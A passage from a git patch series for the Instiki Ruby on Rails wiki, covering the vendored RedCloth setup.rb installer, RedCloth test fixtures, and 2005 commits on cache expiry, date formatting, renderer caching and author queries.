Dir.open(dirname) {|d| + return d.select {|n| File.dir?("#{dirname}/#{n}") } - %w(. ..) - REJECT_DIRS + } + end + +end + + +# +# Main Installer +# + +module HookUtils + + def run_hook(name) + try_run_hook "#{curr_srcdir()}/#{name}" or + try_run_hook "#{curr_srcdir()}/#{name}.rb" + end + + def try_run_hook(fname) + return false unless File.file?(fname) + begin + instance_eval File.read(fname), fname, 1 + rescue + setup_rb_error "hook #{fname} failed:\n" + $!.message + end + true + end + +end + + +module HookScriptAPI + + def get_config(key) + @config[key] + end + + alias config get_config + + def set_config(key, val) + @config[key] = val + end + + # + # srcdir/objdir (works only in the package directory) + # + + #abstract srcdir_root + #abstract objdir_root + #abstract relpath + + def curr_srcdir + "#{srcdir_root()}/#{relpath()}" + end + + def curr_objdir + "#{objdir_root()}/#{relpath()}" + end + + def srcfile(path) + "#{curr_srcdir()}/#{path}" + end + + def srcexist?(path) + File.exist?(srcfile(path)) + end + + def srcdirectory?(path) + File.dir?(srcfile(path)) + end + + def srcfile?(path) + File.file? srcfile(path) + end + + def srcentries(path = '.') + Dir.open("#{curr_srcdir()}/#{path}") {|d| + return d.to_a - %w(. ..) + } + end + + def srcfiles(path = '.') + srcentries(path).select {|fname| + File.file?(File.join(curr_srcdir(), path, fname)) + } + end + + def srcdirectories(path = '.') + srcentries(path).select {|fname| + File.dir?(File.join(curr_srcdir(), path, fname)) + } + end + +end + + +class ToplevelInstaller + + Version = '3.3.1' + Copyright = 'Copyright (c) 2000-2004 Minero Aoki' + + TASKS = [ + [ 'all', 'do config, setup, then install' ], + [ 'config', 'saves your configurations' ], + [ 'show', 'shows current configuration' ], + [ 'setup', 'compiles ruby extentions and others' ], + [ 'install', 'installs files' ], + [ 'clean', "does `make clean' for each extention" ], + [ 'distclean',"does `make distclean' for each extention" ] + ] + + def ToplevelInstaller.invoke + instance().invoke + end + + @singleton = nil + + def ToplevelInstaller.instance + @singleton ||= new(File.dirname($0)) + @singleton + end + + include MetaConfigAPI + + def initialize(ardir_root) + @config = nil + @options = { 'verbose' => true } + @ardir = File.expand_path(ardir_root) + end + + def inspect + "#<#{self.class} #{__id__()}>" + end + + def invoke + run_metaconfigs + case task = parsearg_global() + when nil, 'all' + @config = load_config('config') + parsearg_config + init_installers + exec_config + exec_setup + exec_install + else + @config = load_config(task) + __send__ "parsearg_#{task}" + init_installers + __send__ "exec_#{task}" + end + end + + def run_metaconfigs + eval_file_ifexist "#{@ardir}/metaconfig" + end + + def load_config(task) + case task + when 'config' + ConfigTable.new + when 'clean', 'distclean' + if File.exist?(ConfigTable.savefile) + then ConfigTable.load + else ConfigTable.new + end + else + ConfigTable.load + end + end + + def init_installers + @installer = Installer.new(@config, @options, @ardir, File.expand_path('.')) + end + + # + # Hook Script API bases + # + + def srcdir_root + @ardir + end + + def objdir_root + '.' + end + + def relpath + '.' + end + + # + # Option Parsing + # + + def parsearg_global + valid_task = /\A(?:#{TASKS.map {|task,desc| task }.join '|'})\z/ + + while arg = ARGV.shift + case arg + when /\A\w+\z/ + setup_rb_error "invalid task: #{arg}" unless valid_task =~ arg + return arg + + when '-q', '--quiet' + @options['verbose'] = false + + when '--verbose' + @options['verbose'] = true + + when '-h', '--help' + print_usage $stdout + exit 0 + + when '-v', '--version' + puts "#{File.basename($0)} version #{Version}" + exit 0 + + when '--copyright' + puts Copyright + exit 0 + + else + setup_rb_error "unknown global option '#{arg}'" + end + end + + nil + end + + + def parsearg_no_options + unless ARGV.empty? + setup_rb_error "#{task}: unknown options: #{ARGV.join ' '}" + end + end + + alias parsearg_show parsearg_no_options + alias parsearg_setup parsearg_no_options + alias parsearg_clean parsearg_no_options + alias parsearg_distclean parsearg_no_options + + def parsearg_config + re = /\A--(#{ConfigTable.map {|i| i.name }.join('|')})(?:=(.*))?\z/ + @options['config-opt'] = [] + + while i = ARGV.shift + if /\A--?\z/ =~ i + @options['config-opt'] = ARGV.dup + break + end + m = re.match(i) or setup_rb_error "config: unknown option #{i}" + name, value = *m.to_a[1,2] + @config[name] = value + end + end + + def parsearg_install + @options['no-harm'] = false + @options['install-prefix'] = '' + while a = ARGV.shift + case a + when /\A--no-harm\z/ + @options['no-harm'] = true + when /\A--prefix=(.*)\z/ + path = $1 + path = File.expand_path(path) unless path[0,1] == '/' + @options['install-prefix'] = path + else + setup_rb_error "install: unknown option #{a}" + end + end + end + + def print_usage(out) + out.puts 'Typical Installation Procedure:' + out.puts " $ ruby #{File.basename $0} config" + out.puts " $ ruby #{File.basename $0} setup" + out.puts " # ruby #{File.basename $0} install (may require root privilege)" + out.puts + out.puts 'Detailed Usage:' + out.puts " ruby #{File.basename $0} " + out.puts " ruby #{File.basename $0} [] []" + + fmt = " %-24s %s\n" + out.puts + out.puts 'Global options:' + out.printf fmt, '-q,--quiet', 'suppress message outputs' + out.printf fmt, ' --verbose', 'output messages verbosely' + out.printf fmt, '-h,--help', 'print this message' + out.printf fmt, '-v,--version', 'print version and quit' + out.printf fmt, ' --copyright', 'print copyright and quit' + out.puts + out.puts 'Tasks:' + TASKS.each do |name, desc| + out.printf fmt, name, desc + end + + fmt = " %-24s %s [%s]\n" + out.puts + out.puts 'Options for CONFIG or ALL:' + ConfigTable.each do |item| + out.printf fmt, item.help_opt, item.description, item.help_default + end + out.printf fmt, '--rbconfig=path', 'rbconfig.rb to load',"running ruby's" + out.puts + out.puts 'Options for INSTALL:' + out.printf fmt, '--no-harm', 'only display what to do if given', 'off' + out.printf fmt, '--prefix=path', 'install path prefix', '$prefix' + out.puts + end + + # + # Task Handlers + # + + def exec_config + @installer.exec_config + @config.save # must be final + end + + def exec_setup + @installer.exec_setup + end + + def exec_install + @installer.exec_install + end + + def exec_show + ConfigTable.each do |i| + printf "%-20s %s\n", i.name, i.value + end + end + + def exec_clean + @installer.exec_clean + end + + def exec_distclean + @installer.exec_distclean + end + +end + + +class ToplevelInstallerMulti < ToplevelInstaller + + include HookUtils + include HookScriptAPI + include FileOperations + + def initialize(ardir) + super + @packages = all_dirs_in("#{@ardir}/packages") + raise 'no package exists' if @packages.empty? + end + + def run_metaconfigs + eval_file_ifexist "#{@ardir}/metaconfig" + @packages.each do |name| + eval_file_ifexist "#{@ardir}/packages/#{name}/metaconfig" + end + end + + def init_installers + @installers = {} + @packages.each do |pack| + @installers[pack] = Installer.new(@config, @options, + "#{@ardir}/packages/#{pack}", + "packages/#{pack}") + end + + with = extract_selection(config('with')) + without = extract_selection(config('without')) + @selected = @installers.keys.select {|name| + (with.empty? or with.include?(name)) \ + and not without.include?(name) + } + end + + def extract_selection(list) + a = list.split(/,/) + a.each do |name| + setup_rb_error "no such package: #{name}" unless @installers.key?(name) + end + a + end + + def print_usage(f) + super + f.puts 'Inluded packages:' + f.puts ' ' + @packages.sort.join(' ') + f.puts + end + + # + # multi-package metaconfig API + # + + attr_reader :packages + + def declare_packages(list) + raise 'package list is empty' if list.empty? + list.each do |name| + raise "directory packages/#{name} does not exist"\ + unless File.dir?("#{@ardir}/packages/#{name}") + end + @packages = list + end + + # + # Task Handlers + # + + def exec_config + run_hook 'pre-config' + each_selected_installers {|inst| inst.exec_config } + run_hook 'post-config' + @config.save # must be final + end + + def exec_setup + run_hook 'pre-setup' + each_selected_installers {|inst| inst.exec_setup } + run_hook 'post-setup' + end + + def exec_install + run_hook 'pre-install' + each_selected_installers {|inst| inst.exec_install } + run_hook 'post-install' + end + + def exec_clean + rm_f ConfigTable.savefile + run_hook 'pre-clean' + each_selected_installers {|inst| inst.exec_clean } + run_hook 'post-clean' + end + + def exec_distclean + rm_f ConfigTable.savefile + run_hook 'pre-distclean' + each_selected_installers {|inst| inst.exec_distclean } + run_hook 'post-distclean' + end + + # + # lib + # + + def each_selected_installers + Dir.mkdir 'packages' unless File.dir?('packages') + @selected.each do |pack| + $stderr.puts "Processing the package `#{pack}' ..." if @options['verbose'] + Dir.mkdir "packages/#{pack}" unless File.dir?("packages/#{pack}") + Dir.chdir "packages/#{pack}" + yield @installers[pack] + Dir.chdir '../..' + end + end + + def verbose? + @options['verbose'] + end + + def no_harm? + @options['no-harm'] + end + +end + + +class Installer + + FILETYPES = %w( bin lib ext share ) + + include HookScriptAPI + include HookUtils + include FileOperations + + def initialize(config, opt, srcroot, objroot) + @config = config + @options = opt + @srcdir = File.expand_path(srcroot) + @objdir = File.expand_path(objroot) + @currdir = '.' + end + + def inspect + "#<#{self.class} #{File.basename(@srcdir)}>" + end + + # + # Hook Script API base methods + # + + def srcdir_root + @srcdir + end + + def objdir_root + @objdir + end + + def relpath + @currdir + end + + # + # configs/options + # + + def no_harm? + @options['no-harm'] + end + + def verbose? + @options['verbose'] + end + + def verbose_off + begin + save, @options['verbose'] = @options['verbose'], false + yield + ensure + @options['verbose'] = save + end + end + + # + # TASK config + # + + def exec_config + exec_task_traverse 'config' + end + + def config_dir_bin(rel) + end + + def config_dir_lib(rel) + end + + def config_dir_ext(rel) + extconf if extdir?(curr_srcdir()) + end + + def extconf + opt = @options['config-opt'].join(' ') + command "#{config('rubyprog')} #{curr_srcdir()}/extconf.rb #{opt}" + end + + def config_dir_share(rel) + end + + # + # TASK setup + # + + def exec_setup + exec_task_traverse 'setup' + end + + def setup_dir_bin(rel) + all_files_in(curr_srcdir()).each do |fname| + adjust_shebang "#{curr_srcdir()}/#{fname}" + end + end + + def adjust_shebang(path) + return if no_harm? + tmpfile = File.basename(path) + '.tmp' + begin + File.open(path, 'rb') {|r| + first = r.gets + return unless File.basename(config('rubypath')) == 'ruby' + return unless File.basename(first.sub(/\A\#!/, '').split[0]) == 'ruby' + $stderr.puts "adjusting shebang: #{File.basename(path)}" if verbose? + File.open(tmpfile, 'wb') {|w| + w.print first.sub(/\A\#!\s*\S+/, '#! ' + config('rubypath')) + w.write r.read + } + move_file tmpfile, File.basename(path) + } + ensure + File.unlink tmpfile if File.exist?(tmpfile) + end + end + + def setup_dir_lib(rel) + end + + def setup_dir_ext(rel) + make if extdir?(curr_srcdir()) + end + + def setup_dir_share(rel) + end + + # + # TASK install + # + + def exec_install + rm_f 'InstalledFiles' + exec_task_traverse 'install' + end + + def install_dir_bin(rel) + install_files collect_filenames_auto(), "#{config('bindir')}/#{rel}", 0755 + end + + def install_dir_lib(rel) + install_files ruby_scripts(), "#{config('rbdir')}/#{rel}", 0644 + return unless rel.empty? + begin + require 'rdoc/rdoc' + ri_site = true + if RDOC_VERSION =~ /^0\./ + require 'rdoc/options' + unless Options::OptionList::OPTION_LIST.assoc('--ri-site') + ri_site = false + end + end rescue nil + if ri_site + r = RDoc::RDoc.new + r.document(%w{--ri-site}) + end + rescue + puts "** Unable to install Ri documentation for RedCloth **" + end + end + + def install_dir_ext(rel) + return unless extdir?(curr_srcdir()) + install_files ruby_extentions('.'), + "#{config('sodir')}/#{File.dirname(rel)}", + 0555 + end + + def install_dir_share(rel) + end + + def install_files(list, dest, mode) + mkdir_p dest, @options['install-prefix'] + list.each do |fname| + install fname, dest, mode, @options['install-prefix'] + end + end + + def ruby_scripts + collect_filenames_auto().select {|n| /\.rb\z/ =~ n } + end + + # picked up many entries from cvs-1.11.1/src/ignore.c + reject_patterns = %w( + core RCSLOG tags TAGS .make.state + .nse_depinfo #* .#* cvslog.* ,* .del-* *.olb + *~ *.old *.bak *.BAK *.orig *.rej _$* *$ + + *.org *.in .* + ) + mapping = { + '.' => '\.', + '$' => '\$', + '#' => '\#', + '*' => '.*' + } + REJECT_PATTERNS = Regexp.new('\A(?:' + + reject_patterns.map {|pat| + pat.gsub(/[\.\$\#\*]/) {|ch| mapping[ch] } + }.join('|') + + ')\z') + + def collect_filenames_auto + mapdir((existfiles() - hookfiles()).reject {|fname| + REJECT_PATTERNS =~ fname + }) + end + + def existfiles + all_files_in(curr_srcdir()) | all_files_in('.') + end + + def hookfiles + %w( pre-%s post-%s pre-%s.rb post-%s.rb ).map {|fmt| + %w( config setup install clean ).map {|t| sprintf(fmt, t) } + }.flatten + end + + def mapdir(filelist) + filelist.map {|fname| + if File.exist?(fname) # objdir + fname + else # srcdir + File.join(curr_srcdir(), fname) + end + } + end + + def ruby_extentions(dir) + Dir.open(dir) {|d| + ents = d.select {|fname| /\.#{::Config::CONFIG['DLEXT']}\z/ =~ fname } + if ents.empty? + setup_rb_error "no ruby extention exists: 'ruby #{$0} setup' first" + end + return ents + } + end + + # + # TASK clean + # + + def exec_clean + exec_task_traverse 'clean' + rm_f ConfigTable.savefile + rm_f 'InstalledFiles' + end + + def clean_dir_bin(rel) + end + + def clean_dir_lib(rel) + end + + def clean_dir_ext(rel) + return unless extdir?(curr_srcdir()) + make 'clean' if File.file?('Makefile') + end + + def clean_dir_share(rel) + end + + # + # TASK distclean + # + + def exec_distclean + exec_task_traverse 'distclean' + rm_f ConfigTable.savefile + rm_f 'InstalledFiles' + end + + def distclean_dir_bin(rel) + end + + def distclean_dir_lib(rel) + end + + def distclean_dir_ext(rel) + return unless extdir?(curr_srcdir()) + make 'distclean' if File.file?('Makefile') + end + + # + # lib + # + + def exec_task_traverse(task) + run_hook "pre-#{task}" + FILETYPES.each do |type| + if config('without-ext') == 'yes' and type == 'ext' + $stderr.puts 'skipping ext/* by user option' if verbose? + next + end + traverse task, type, "#{task}_dir_#{type}" + end + run_hook "post-#{task}" + end + + def traverse(task, rel, mid) + dive_into(rel) { + run_hook "pre-#{task}" + __send__ mid, rel.sub(%r[\A.*?(?:/|\z)], '') + all_dirs_in(curr_srcdir()).each do |d| + traverse task, "#{rel}/#{d}", mid + end + run_hook "post-#{task}" + } + end + + def dive_into(rel) + return unless File.dir?("#{@srcdir}/#{rel}") + + dir = File.basename(rel) + Dir.mkdir dir unless File.dir?(dir) + prevdir = Dir.pwd + Dir.chdir dir + $stderr.puts '---> ' + rel if verbose? + @currdir = rel + yield + Dir.chdir prevdir + $stderr.puts '<--- ' + rel if verbose? + @currdir = File.dirname(rel) + end + +end + + +if $0 == __FILE__ + begin + if multipackage_install? + ToplevelInstallerMulti.invoke + else + ToplevelInstaller.invoke + end + rescue SetupError + raise if $DEBUG + $stderr.puts $!.message + $stderr.puts "Try 'ruby #{$0} --help' for detailed usage." + exit 1 + end +end diff --git a/vendor/RedCloth-3.0.3/tests/code.yml b/vendor/RedCloth-3.0.4/tests/code.yml similarity index 100% rename from vendor/RedCloth-3.0.3/tests/code.yml rename to vendor/RedCloth-3.0.4/tests/code.yml diff --git a/vendor/RedCloth-3.0.4/tests/hard_breaks.yml b/vendor/RedCloth-3.0.4/tests/hard_breaks.yml new file mode 100644 index 00000000..0b1fc099 --- /dev/null +++ b/vendor/RedCloth-3.0.4/tests/hard_breaks.yml @@ -0,0 +1,26 @@ +--- +in: | + |This|is|a|row| + {background:#ddd}. |This|is|grey|row| + |This|is|another|row| +out: |- + + + + + + + + + + + + + + + + + + + +
      Thisisarow
      Thisisgreyrow
      Thisisanotherrow
      diff --git a/vendor/RedCloth-3.0.3/tests/images.yml b/vendor/RedCloth-3.0.4/tests/images.yml similarity index 100% rename from vendor/RedCloth-3.0.3/tests/images.yml rename to vendor/RedCloth-3.0.4/tests/images.yml diff --git a/vendor/RedCloth-3.0.3/tests/instiki.yml b/vendor/RedCloth-3.0.4/tests/instiki.yml similarity index 100% rename from vendor/RedCloth-3.0.3/tests/instiki.yml rename to vendor/RedCloth-3.0.4/tests/instiki.yml diff --git a/vendor/RedCloth-3.0.3/tests/links.yml b/vendor/RedCloth-3.0.4/tests/links.yml similarity index 100% rename from vendor/RedCloth-3.0.3/tests/links.yml rename to vendor/RedCloth-3.0.4/tests/links.yml diff --git a/vendor/RedCloth-3.0.3/tests/lists.yml b/vendor/RedCloth-3.0.4/tests/lists.yml similarity index 100% rename from vendor/RedCloth-3.0.3/tests/lists.yml rename to vendor/RedCloth-3.0.4/tests/lists.yml diff --git a/vendor/RedCloth-3.0.3/tests/markdown.yml b/vendor/RedCloth-3.0.4/tests/markdown.yml similarity index 100% rename from vendor/RedCloth-3.0.3/tests/markdown.yml rename to vendor/RedCloth-3.0.4/tests/markdown.yml diff --git a/vendor/RedCloth-3.0.3/tests/poignant.yml b/vendor/RedCloth-3.0.4/tests/poignant.yml similarity index 100% rename from vendor/RedCloth-3.0.3/tests/poignant.yml rename to vendor/RedCloth-3.0.4/tests/poignant.yml diff --git a/vendor/RedCloth-3.0.3/tests/table.yml b/vendor/RedCloth-3.0.4/tests/table.yml similarity index 95% rename from vendor/RedCloth-3.0.3/tests/table.yml rename to vendor/RedCloth-3.0.4/tests/table.yml index bf5059e1..3ce974dd 100644 --- a/vendor/RedCloth-3.0.3/tests/table.yml +++ b/vendor/RedCloth-3.0.4/tests/table.yml @@ -39,28 +39,28 @@ out: |- 11/18/04 11/18/04 070 - XML spec complete + XML spec complete 11/29/04 11/29/04 011 - XML spec complete (KH is on schedule) + XML spec complete (KH is on schedule) 11/29/04 11/29/04 051 - XML spec complete (KH is on schedule) + XML spec complete (KH is on schedule) 11/29/04 11/29/04 081 - XML spec complete (KH is on schedule) + XML spec complete (KH is on schedule) diff --git a/vendor/RedCloth-3.0.3/tests/textism.yml b/vendor/RedCloth-3.0.4/tests/textism.yml similarity index 97% rename from vendor/RedCloth-3.0.3/tests/textism.yml rename to vendor/RedCloth-3.0.4/tests/textism.yml index 5489c04d..1e6f8d6b 100644 --- a/vendor/RedCloth-3.0.3/tests/textism.yml +++ b/vendor/RedCloth-3.0.4/tests/textism.yml @@ -71,6 +71,12 @@ out:

      a phrase

      in: '**a phrase**' out:

      a phrase

      --- +in: '*(a)* a' +out:

      (a) a

      +--- +in: '*(a)* *' +out:

      (a) *

      +--- in: Nabokov's ??Pnin?? out:

      Nabokov’s Pnin

      --- @@ -395,3 +401,6 @@ out: |-
    7. We must act
    8. +--- +in: '"test":http://foo.com/b---ar' +out:

      test

      From 16454549fee5eb0fc827e825ce392877b118cda4 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Tue, 27 Sep 2005 03:30:01 +0000 Subject: [PATCH 387/529] Fixed a nasty bug that caused Instiki to go into an endless loop on call to /wiki/print/ --- app/controllers/revision_sweeper.rb | 4 ++++ app/controllers/wiki_controller.rb | 3 +++ 2 files changed, 7 insertions(+) diff --git a/app/controllers/revision_sweeper.rb b/app/controllers/revision_sweeper.rb index 1ab4676b..879274e3 100644 --- a/app/controllers/revision_sweeper.rb +++ b/app/controllers/revision_sweeper.rb @@ -23,5 +23,9 @@ class RevisionSweeper < ActionController::Caching::Sweeper :action => %w(authors recently_revised list) expire_fragment :controller => 'wiki', :web => web.address, :action => %w(rss_with_headlines rss_with_content) + WikiReference.pages_that_reference(page.name).each do |ref| + expire_action :controller => 'wiki', :web => web.address, + :action => %w(show published), :id => ref.page.name + end end end diff --git a/app/controllers/wiki_controller.rb b/app/controllers/wiki_controller.rb index fdd83d21..787f8c6a 100644 --- a/app/controllers/wiki_controller.rb +++ b/app/controllers/wiki_controller.rb @@ -156,6 +156,9 @@ class WikiController < ApplicationController end def print + if @page.nil? + redirect_home + end @link_mode ||= :show @renderer = PageRenderer.new(@page.revisions.last) # to template From 5b1778a7f1dc9b545d10c2b043021c0901f1a5fb Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Tue, 27 Sep 2005 03:30:42 +0000 Subject: [PATCH 388/529] Fixed handling of Windows EOLs in the import_storage --- script/import_storage | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/script/import_storage b/script/import_storage index 0f6d6b21..a999d0ca 100755 --- a/script/import_storage +++ b/script/import_storage @@ -124,7 +124,7 @@ def sql_insert(table, hash) else raise "Unsupported database option #{OPTIONS[:database]}" end - "'#{escaped_value}'" + "'#{escaped_value.gsub("\r\n", "\n")}'" end end From 9816c395c5b6e27d3b2bb772af919a5a2bcbffed Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Tue, 27 Sep 2005 03:53:29 +0000 Subject: [PATCH 389/529] Expire caches for referencing pages on saves and deletes; fixed date formatting in recently_revised --- app/controllers/revision_sweeper.rb | 13 +++++++------ app/helpers/application_helper.rb | 11 ++++++++--- app/views/wiki/recently_revised.rhtml | 4 ++-- 3 files changed, 17 insertions(+), 11 deletions(-) diff --git a/app/controllers/revision_sweeper.rb b/app/controllers/revision_sweeper.rb index 879274e3..28284ce6 100644 --- a/app/controllers/revision_sweeper.rb +++ b/app/controllers/revision_sweeper.rb @@ -17,15 +17,16 @@ class RevisionSweeper < ActionController::Caching::Sweeper def expire_caches(page) web = page.web - expire_action :controller => 'wiki', :web => web.address, - :action => %w(show published), :id => page.name + + ([page.name] + WikiReference.pages_that_reference(page.name)).uniq.each do |page_name| + expire_action :controller => 'wiki', :web => web.address, + :action => %w(show published), :id => page_name + end + expire_action :controller => 'wiki', :web => web.address, :action => %w(authors recently_revised list) expire_fragment :controller => 'wiki', :web => web.address, :action => %w(rss_with_headlines rss_with_content) - WikiReference.pages_that_reference(page.name).each do |ref| - expire_action :controller => 'wiki', :web => web.address, - :action => %w(show published), :id => ref.page.name - end end + end diff --git a/app/helpers/application_helper.rb b/app/helpers/application_helper.rb index f72c572d..3056541e 100644 --- a/app/helpers/application_helper.rb +++ b/app/helpers/application_helper.rb @@ -77,10 +77,15 @@ module ApplicationHelper h(text).gsub(/\n/, '
      ') end - def format_date(date) + def format_date(date, include_time = true) # Must use DateTime because Time doesn't support %e on at least some platforms - DateTime.new(date.year, date.mon, date.day, date.hour, date.min, - date.sec).strftime("%B %e, %Y %H:%M:%S") + date_time = DateTime.new(date.year, date.mon, date.day, date.hour, date.min, + date.sec) + if include_time + return date_time.strftime("%B %e, %Y %H:%M:%S") + else + return date_time.strftime("%B %e, %Y") + end end def rendered_content(page) diff --git a/app/views/wiki/recently_revised.rhtml b/app/views/wiki/recently_revised.rhtml index 0460c7b7..f4ca669c 100644 --- a/app/views/wiki/recently_revised.rhtml +++ b/app/views/wiki/recently_revised.rhtml @@ -4,13 +4,13 @@ <% unless @pages_by_revision.empty? %> <% revision_date = @pages_by_revision.first.revised_at %> -

      <%= revision_date.strftime('%B %e, %Y') %>

      +

      <%= format_date(revision_date, include_time = false) %>

        <% for page in @pages_by_revision %> <% if page.revised_at < revision_date %> <% revision_date = page.revised_at %>
      -

      <%= revision_date.strftime('%B %e, %Y') %>

      +

      <%= format_date(revision_date, include_time = false) %>

        <% end %>
      • From 5447b82ed9aba3c6143033e69202f37327d76bee Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Tue, 27 Sep 2005 05:26:19 +0000 Subject: [PATCH 390/529] A bit of caching in the page_renderer --- lib/page_renderer.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/page_renderer.rb b/lib/page_renderer.rb index 07b6a3fb..374da3f3 100644 --- a/lib/page_renderer.rb +++ b/lib/page_renderer.rb @@ -24,7 +24,7 @@ class PageRenderer end def display_content - render + @display_content ||= render end def display_content_for_export @@ -32,12 +32,12 @@ class PageRenderer end def display_published - render :mode => :publish + @display_published ||= render(:mode => :publish) end def display_diff previous_revision = @revision.page.previous_revision(@revision) - if previous_revision + if previous_revision rendered_previous_revision = WikiContent.new(previous_revision, @@url_generator).render! HTMLDiff.diff(rendered_previous_revision, display_content) else From 223a1f9de33ffd0baa1e654afc3dad5ab8e83822 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Tue, 27 Sep 2005 13:46:02 +0000 Subject: [PATCH 391/529] Speeding up some stuff --- app/controllers/wiki_controller.rb | 3 ++- app/models/page.rb | 6 +----- app/models/page_set.rb | 9 ++++----- app/models/web.rb | 21 ++++++++++++++++++++- app/models/wiki.rb | 1 + app/models/wiki_reference.rb | 3 ++- app/views/wiki/authors.rhtml | 2 +- lib/page_renderer.rb | 25 +++++++++++++++++-------- script/reset_references | 2 +- test/functional/wiki_controller_test.rb | 3 +++ test/unit/web_test.rb | 8 ++++++++ 11 files changed, 60 insertions(+), 23 deletions(-) diff --git a/app/controllers/wiki_controller.rb b/app/controllers/wiki_controller.rb index 787f8c6a..13d76598 100644 --- a/app/controllers/wiki_controller.rb +++ b/app/controllers/wiki_controller.rb @@ -46,7 +46,8 @@ class WikiController < ApplicationController # Within a single web --------------------------------------------------------- def authors - @authors = @web.select.authors.sort + @page_names_by_author = @web.page_names_by_author + @authors = @page_names_by_author.keys.sort end def export_html diff --git a/app/models/page.rb b/app/models/page.rb index a44b5558..e45b609e 100644 --- a/app/models/page.rb +++ b/app/models/page.rb @@ -16,7 +16,7 @@ class Page < ActiveRecord::Base # Try to render content to make sure that markup engine can take it, renderer.revision = Revision.new( :page => self, :content => content, :author => author, :revised_at => time) - renderer.display_content + renderer.display_content(update_references = true) # A user may change a page, look at it and make some more changes - several times. # Not to record every such iteration as a new revision, if the previous revision was done @@ -59,10 +59,6 @@ class Page < ActiveRecord::Base end end - def authors - revisions.collect { |rev| rev.author } - end - def references web.select.pages_that_reference(name) end diff --git a/app/models/page_set.rb b/app/models/page_set.rb index 873e4c49..9589b36c 100644 --- a/app/models/page_set.rb +++ b/app/models/page_set.rb @@ -46,6 +46,9 @@ class PageSet < Array end def pages_authored_by(author) + all_pages_authored_by_the_author = + Page.connection.select_all(sanitize_sql([ + "SELECT page_id FROM revision WHERE author = '?'", author])) self.select { |page| page.authors.include?(author) } end @@ -59,7 +62,7 @@ class PageSet < Array # references and so cannot be orphans # Pages that refer to themselves and have no links from outside are oprphans. def orphaned_pages - never_orphans = web.select.authors + ['HomePage'] + never_orphans = web.authors + ['HomePage'] self.select { |page| if never_orphans.include? page.name false @@ -88,8 +91,4 @@ class PageSet < Array }.flatten.uniq end - def authors - self.inject([]) { |authors, page| authors << page.authors }.flatten.uniq.sort - end - end diff --git a/app/models/web.rb b/app/models/web.rb index 65a97832..c38c8061 100644 --- a/app/models/web.rb +++ b/app/models/web.rb @@ -21,7 +21,11 @@ class Web < ActiveRecord::Base end def authors - select.authors + connection.select_all( + 'SELECT DISTINCT r.author AS author ' + + 'FROM revisions r ' + + 'JOIN pages p ON p.id = r.page_id ' + + 'ORDER by 1').collect { |row| row['author'] } end def categories @@ -44,6 +48,21 @@ class Web < ActiveRecord::Base read_attribute('markup').to_sym end + def page_names_by_author + connection.select_all( + 'SELECT DISTINCT r.author AS author, p.name AS page_name ' + + 'FROM revisions r ' + + 'JOIN pages p ON r.page_id = p.id ' + + "WHERE p.web_id = #{self.id} " + + 'ORDER by p.name' + ).inject({}) { |result, row| + author, page_name = row['author'], row['page_name'] + result[author] = [] unless result.has_key?(author) + result[author] << page_name + result + } + end + def remove_pages(pages_to_be_removed) pages_to_be_removed.each { |p| p.destroy } end diff --git a/app/models/wiki.rb b/app/models/wiki.rb index 773fd011..e0da8644 100644 --- a/app/models/wiki.rb +++ b/app/models/wiki.rb @@ -1,4 +1,5 @@ class Wiki + cattr_accessor :storage_path, :logger self.storage_path = "#{RAILS_ROOT}/storage/" self.logger = RAILS_DEFAULT_LOGGER diff --git a/app/models/wiki_reference.rb b/app/models/wiki_reference.rb index 6ebe1d55..9f4534a7 100644 --- a/app/models/wiki_reference.rb +++ b/app/models/wiki_reference.rb @@ -4,9 +4,10 @@ class WikiReference < ActiveRecord::Base WANTED_PAGE = 'W' INCLUDED_PAGE = 'I' CATEGORY = 'C' + AUTHOR = 'A' belongs_to :page - validates_inclusion_of :link_type, :in => [LINKED_PAGE, WANTED_PAGE, INCLUDED_PAGE, CATEGORY] + validates_inclusion_of :link_type, :in => [LINKED_PAGE, WANTED_PAGE, INCLUDED_PAGE, CATEGORY, AUTHOR] # FIXME all finders below MUST restrict their results to pages belonging to a particular web diff --git a/app/views/wiki/authors.rhtml b/app/views/wiki/authors.rhtml index 97eb5c9d..57f529ee 100644 --- a/app/views/wiki/authors.rhtml +++ b/app/views/wiki/authors.rhtml @@ -5,7 +5,7 @@
      • <%= link_to_page author %> co- or authored: - <%= @web.select.pages_authored_by(author).collect { |page| link_to_page(page.name) }.sort.join ', ' %> + <%= @page_names_by_author[author].collect { |page_name| link_to_page(page_name) }.sort.join ', ' %>
      • <% end %>
      diff --git a/lib/page_renderer.rb b/lib/page_renderer.rb index 374da3f3..f47238f4 100644 --- a/lib/page_renderer.rb +++ b/lib/page_renderer.rb @@ -20,11 +20,12 @@ class PageRenderer def revision=(r) @revision = r - @wiki_words_cache = @wiki_includes_cache = @wiki_references_cache = nil + @display_content = @display_published = @wiki_words_cache = @wiki_includes_cache = + @wiki_references_cache = nil end - def display_content - @display_content ||= render + def display_content(update_references = false) + @display_content ||= render(:update_references => update_references) end def display_content_for_export @@ -87,12 +88,21 @@ class PageRenderer private def render(options = {}) - result = WikiContent.new(@revision, @@url_generator, options).render! + + rendering_result = WikiContent.new(@revision, @@url_generator, options).render! + + if options[:update_references] + update_references(rendering_result) + end + rendering_result + end + + def update_references(rendering_result) WikiReference.delete_all ['page_id = ?', @revision.page_id] references = @revision.page.wiki_references - wiki_word_chunks = result.find_chunks(WikiChunk::WikiLink) + wiki_word_chunks = rendering_result.find_chunks(WikiChunk::WikiLink) wiki_words = wiki_word_chunks.map { |c| ( c.escaped? ? nil : c.page_name ) }.compact.uniq wiki_words.each do |referenced_name| @@ -105,17 +115,16 @@ class PageRenderer references.create :referenced_name => referenced_name, :link_type => link_type end - include_chunks = result.find_chunks(Include) + include_chunks = rendering_result.find_chunks(Include) includes = include_chunks.map { |c| ( c.escaped? ? nil : c.page_name ) }.compact.uniq includes.each do |included_page_name| references.create :referenced_name => included_page_name, :link_type => WikiReference::INCLUDED_PAGE end - categories = result.find_chunks(Category).map { |cat| cat.list }.flatten + categories = rendering_result.find_chunks(Category).map { |cat| cat.list }.flatten categories.each do |category| references.create :referenced_name => category, :link_type => WikiReference::CATEGORY end - result end end diff --git a/script/reset_references b/script/reset_references index 0e21b0c9..176f3430 100644 --- 